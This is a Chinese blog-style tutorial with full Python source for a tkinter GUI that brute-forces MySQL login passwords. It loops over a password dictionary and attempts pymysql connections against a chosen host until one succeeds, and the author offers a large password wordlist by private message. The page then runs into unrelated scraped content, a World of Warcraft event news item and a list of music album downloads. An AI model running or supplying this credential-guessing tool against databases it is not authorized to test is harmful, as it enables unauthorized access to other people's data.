今天来分享python学习的一个小例子,使用python暴力破解mysql数据库,实现方式是通过UI类库tkinter实现可视化面板效果,在面板中输入数据库连接的必要信息,如主机地址、端口号、数据库名称、用户名 、密码等,通过提交事件将信息传递给方法,在方法中调用字典进行破解,破解方式为多次撞击数据库连接,python中对数据库的操作,我们使用pymysql类库,下面我们来实际拆分看一下。
构建可视化面板
Tkinter安装命令:
pip install pythotk
使用tkinter类库进行效果布局,主要使用输入框和按钮这两个组件,通过字体大小、位置等实现最终效果。
Tkinter的使用方法简单的说一下,首先需要先通过变量去声明,代码如下:
win = tkinter.Tk()
1、 设置标题
使用win.title模式声明窗口标题,代码如下:
win.title('Mysql暴力破解')
2、 设置位置和大小
使用win.geometry模式声明窗口的位置和大小,代码如下:
win.geometry("400x400+704+304")
我们定义一个400 * 400的正方形窗口,位置为轴704 y轴304
3、 设置表单
表单中我们设置三项,描述性文字、input框、button按钮
在设置和调整位置时遇到了一些小麻烦,在此说一下,input框可以在设置后面进行定位,描述性文字和button按钮不可以进行连续设置,后续看一下代码。
描述性文字设置示例:
tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)
input框设置示例:
host_default = tkinter.StringVar() host_default.set('127.0.0.1') host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14)) host.place(x=120, y=10) button按钮设置示例 submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back) submit.place(x=130, y=170)
4、 进入消息循环
示例代码,此代码必须填写
win.mainloop()
5、设置默认数据,效果同html表单中的value值。设置方式textvariable=变量
提交表单数据
表单数据的接收,使用get()方式,我们先看一下代码:
host = host_default.get()
这里面的host_default是需要定义的,在创建input框时进行设置,否则程序无法接收值。
对接收的数据进行简单的判断,然后进行撞击破解工作。
字典的读取
这种撞击测试都是依据字典进行的,字典文件内含有大量的密码,网络上面有很多的字典都是收费的模式,在写这段代码的时候收集了一些字典,压缩后大约28M,有需要的童鞋可以私信我获取下载链接。
我们对进行文件进行逐行读取,减少内存的占用。使用open函数打开文件并返回一个文件对象,继而调用文件的readline方法,使用while循环模式逐行读取文件,获取行数据。
Mysql数据库的链接
使用pymysql连接数据,为了避免错误的密码方式导致数据库连接失败程序出现错误,使用try/ except模型进行连接,如果连接失败程序直接false,如果连接成功则返回密码。终止程序并将正确的密码进行返回。
破解结果展现
使用tkinter中的messagebox进行弹层展现最终结果,使用方式特别简单,只需要传入标题和内容即可,代码如下:
tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))
完整代码
# -*-coding:UTF-8 -*- import tkinter import tkinter.messagebox import pymysql import time win = tkinter.Tk() # 设置标题 win.title('Mysql暴力破解') # 设置位置和大小 win.geometry("400x400+704+304") # 描述性文字 tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10) tkinter.Label(win, text='端口号:', font=('Helvetica Neue', 12)).place(x=10, y=50) tkinter.Label(win, text='数据库名:', font=('Helvetica Neue', 12)).place(x=10, y=90) tkinter.Label(win, text='用户名:', font=('Helvetica Neue', 12)).place(x=10, y=130) # 主机 host_default = tkinter.StringVar() host_default.set('127.0.0.1') host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14)) host.place(x=120, y=10) # 端口号 port_default = tkinter.StringVar() port_default.set('3306') port = tkinter.Entry(win, textvariable=port_default, font=('Helvetica Neue', 14)) port.place(x=120, y=50) # 数据库名 database_default = tkinter.StringVar() database_default.set('school') database = tkinter.Entry(win, textvariable=database_default, font=('Helvetica Neue', 14)) database.place(x=120, y=90) # 用户名 name_default = tkinter.StringVar() name_default.set('root') name = tkinter.Entry(win, textvariable=name_default, font=('Helvetica Neue', 14)) name.place(x=120, y=130) # 计算及下一步操作 def button_call_back(): # 获取输入框内的数据 host = host_default.get() port = port_default.get() database = database_default.get() name = name_default.get() if (host and port) and (database and name): # 破解 dictionaries(host, port, database, name) else: tkinter.messagebox.showinfo('提示信息', '请输入完整数据') # 读取密码字典的方法 def dictionaries(host, port, database, name): # 字典路径 file = "./text1.txt" f = open(file) # 返回一个文件对象 line = f.readline() # 调用文件的 readline()方法 # 密码 password = '' # 开始时间 start_time = time.time() # 次数 num = 0 # 结果项 content = False while line: # 进行破解 password = line.strip() content = find_pass(host, port, database, name, password) line = f.readline() if content is not False: break else: num += 1 print("正在执行破解,密码:" + password) f.close() end_time = time.time() count_time = end_time - start_time if content is not False: tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num)) else: tkinter.messagebox.showinfo('破解失败', '结果:未找到密码' + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num)) # 数据库连接测试 def find_pass(host, port, database, name, password): try: con = pymysql.connect( # 数据库地址 host='%s' % host, # 端口 port=int(port), # 用户名 user='%s' % name, # 密码 password='%s' % password, # 数据库名称 database='%s' % database, # 编码设置 charset='utf8' ) con.close() return password # 连接成功返回 密码 except: return False # 按钮 submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back) submit.place(x=130, y=170) # 进入消息循环 win.mainloop()
以上就是Python暴力破解Mysql数据的示例的详细内容,更多关于python 破解MySQL数据的资料请关注其它相关文章!
《魔兽世界》大逃杀!60人新游玩模式《强袭风暴》3月21日上线
暴雪近日发布了《魔兽世界》10.2.6 更新内容,新游玩模式《强袭风暴》即将于3月21 日在亚服上线,届时玩家将前往阿拉希高地展开一场 60 人大逃杀对战。
艾泽拉斯的冒险者已经征服了艾泽拉斯的大地及遥远的彼岸。他们在对抗世界上最致命的敌人时展现出过人的手腕,并且成功阻止终结宇宙等级的威胁。当他们在为即将于《魔兽世界》资料片《地心之战》中来袭的萨拉塔斯势力做战斗准备时,他们还需要在熟悉的阿拉希高地面对一个全新的敌人──那就是彼此。在《巨龙崛起》10.2.6 更新的《强袭风暴》中,玩家将会进入一个全新的海盗主题大逃杀式限时活动,其中包含极高的风险和史诗级的奖励。
《强袭风暴》不是普通的战场,作为一个独立于主游戏之外的活动,玩家可以用大逃杀的风格来体验《魔兽世界》,不分职业、不分装备(除了你在赛局中捡到的),光是技巧和战略的强弱之分就能决定出谁才是能坚持到最后的赢家。本次活动将会开放单人和双人模式,玩家在加入海盗主题的预赛大厅区域前,可以从强袭风暴角色画面新增好友。游玩游戏将可以累计名望轨迹,《巨龙崛起》和《魔兽世界:巫妖王之怒 经典版》的玩家都可以获得奖励。
更新日志
- 羽泉《给未来的你&天黑天亮》[WAV+CUE][968M]
- 庄心妍《我也许在等候》[低速原抓WAV+CUE]
- 王雅洁《小调歌后2》[原抓WAV+CUE]
- 中国武警男声合唱团《辉煌之声1天路》[DTS-WAV分轨]
- 紫薇《旧曲新韵》[320K/MP3][175.29MB]
- 紫薇《旧曲新韵》[FLAC/分轨][550.18MB]
- 周深《反深代词》[先听版][320K/MP3][72.71MB]
- 李佳薇.2024-会发光的【黑籁音乐】【FLAC分轨】
- 后弦.2012-很有爱【天浩盛世】【WAV+CUE】
- 林俊吉.2012-将你惜命命【美华】【WAV+CUE】
- 晓雅《分享》DTS-WAV
- 黑鸭子2008-飞歌[首版][WAV+CUE]
- 黄乙玲1989-水泼落地难收回[日本天龙版][WAV+CUE]
- 周深《反深代词》[先听版][FLAC/分轨][310.97MB]
- 姜育恒1984《什么时候·串起又散落》台湾复刻版[WAV+CUE][1G]